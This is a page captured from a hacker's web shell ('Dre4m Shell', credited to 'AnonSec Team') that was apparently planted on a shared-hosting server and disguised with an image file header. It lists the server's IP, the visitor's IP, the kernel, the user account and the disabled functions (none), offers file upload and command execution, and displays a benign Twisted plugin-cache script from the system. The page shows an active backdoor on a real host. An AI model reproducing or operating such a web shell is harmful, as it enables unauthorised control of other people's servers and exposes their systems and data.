ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/libexec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/alt/python37/libexec/twisted-dropin-cache
#!/opt/alt/python37/bin/python3
# -*- Mode: Python -*-
# vi:si:et:sw=4:sts=4:ts=4

# this program regenerates the dropin.cache file for twisted,
# or for the modules specified on the command line

# we copy and adapt getPlugins from there because getPlugins does log.err()
# on *any* exception, giving us a full traceback every time a plug-in has
# gone away

import sys
from twisted.plugin import IPlugin, getCache
import twisted.plugins

def getPlugins(interface, package=twisted.plugins):
    allDropins = getCache(package)
    for dropin in allDropins.values():
        for plugin in dropin.plugins:
            try:
                adapted = interface(plugin, None)
            except AttributeError:
                # this is most likely due to a module in the cache that
                # has now gone away, so ignore it
                pass
            except:
                log.err()
            else:
                if adapted is not None:
                    yield adapted

which = None
if len(sys.argv) > 1:
    which = sys.argv[1:]

if not which:
    list(getPlugins(IPlugin))
else:
    from twisted.python import reflect
    for w in which:
        try:
            module = reflect.namedAny(w)
        except AttributeError:
            sys.stderr.write("No module '%s' found.\n" % w)
            continue
        list(getPlugins(IPlugin, module))

Anon7 - 2022
AnonSec Team